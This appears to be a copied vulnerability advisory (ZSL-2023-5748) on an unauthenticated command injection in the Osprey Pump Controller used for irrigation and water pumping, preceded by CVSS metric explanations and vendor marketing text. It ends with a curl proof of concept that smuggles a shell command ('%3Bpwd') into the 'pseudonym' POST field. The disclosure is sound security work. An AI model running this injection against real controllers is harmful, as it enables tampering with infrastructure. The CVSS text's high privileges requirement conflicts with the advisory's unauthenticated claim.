The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: Osprey Pump Controller 1.0.1 pseudonym Command Injection
Osprey Pump Controller 1.0.1 (pseudonym) Semi-blind Command Injection
Vendor: ProPump and Controls, Inc.
Product web page: https://www.propumpservice.com | https://www.pumpstationparts.com
Affected version: Software Build ID 20211018, Production 10/18/2021
Mirage App: MirageAppManager, Release [1.0.1]
Mirage Model 1, RetroBoard II
Summary: Providing pumping systems and automated controls for
golf courses and turf irrigation, municipal water and sewer,
biogas, agricultural, and industrial markets. Osprey: door-mounted,
irrigation and landscape pump controller.
Technology hasn't changed dramatically on pump and electric motors
in the last 30 years. Pump station controls are a different story.
More than ever before, customers expect the smooth and efficient
operation of VFD control. Communicationsmonitoring, remote control,
and interfacing with irrigation computer programshave become common
requirements. Fast and reliable accessibility through cell phones
has been a game changer.
ProPump & Controls can handle any of your retrofit needs, from upgrading
an older relay logic system to a powerful modern PLC controller, to
converting your fixed speed or first generation VFD control system to
the latest control platform with communications capabilities.
We use a variety of solutions, from MCI-Flowtronex and Watertronics
package panels to sophisticated SCADA systems capable of controlling
and monitoring networks of hundreds of pump stations, valves, tanks,
deep wells, or remote flow meters.
User friendly system navigation allows quick and easy access to all
critical pump station information with no password protection unless
requested by the customer. Easy to understand control terminology allows
any qualified pump technician the ability to make basic changes without
support. Similar control and navigation platform compared to one of the
most recognized golf pump station control systems for the last twenty
years make it familiar to established golf service groups nationwide.
Reliable push button navigation and LCD information screen allows the
use of all existing control panel door switches to eliminate the common
problems associated with touchscreens.
Global system configuration possibilities allow it to be adapted to
virtually any PLC or relay logic controlled pump stations being used in
the industrial, municipal, agricultural and golf markets that operate
variable or fixed speed. On board Wi-Fi and available cellular modem
option allows complete remote access.
Desc: The pump controller suffers from an unauthenticated OS command
injection vulnerability. This can be exploited to inject and execute
arbitrary shell commands through the 'pseudonym' HTTP POST parameter
called by index.php script.
Tested on: Apache/2.4.25 (Raspbian)
Raspbian GNU/Linux 9 (stretch)
GNU/Linux 4.14.79-v7+ (armv7l)
Python 2.7.13 [GCC 6.3.0 20170516]
GNU gdb (Raspbian 7.12-6) 7.12.0.20161007-git
PHP 7.0.33-0+deb9u1 (Zend Engine v3.0.0 with Zend OPcache v7.0.33)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience
Advisory ID: ZSL-2023-5748
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5748.php
05.01.2023
--
$ curl -s http://TARGET/index.php --data="userName=thricer&pseudonym=%3Bpwd"
HTTP/1.1 200 OK
$ sleep 3
$ #Reflected URL Address Bar: http://TARGET/index.php?userName=thricer&sessionCode=/var/www/html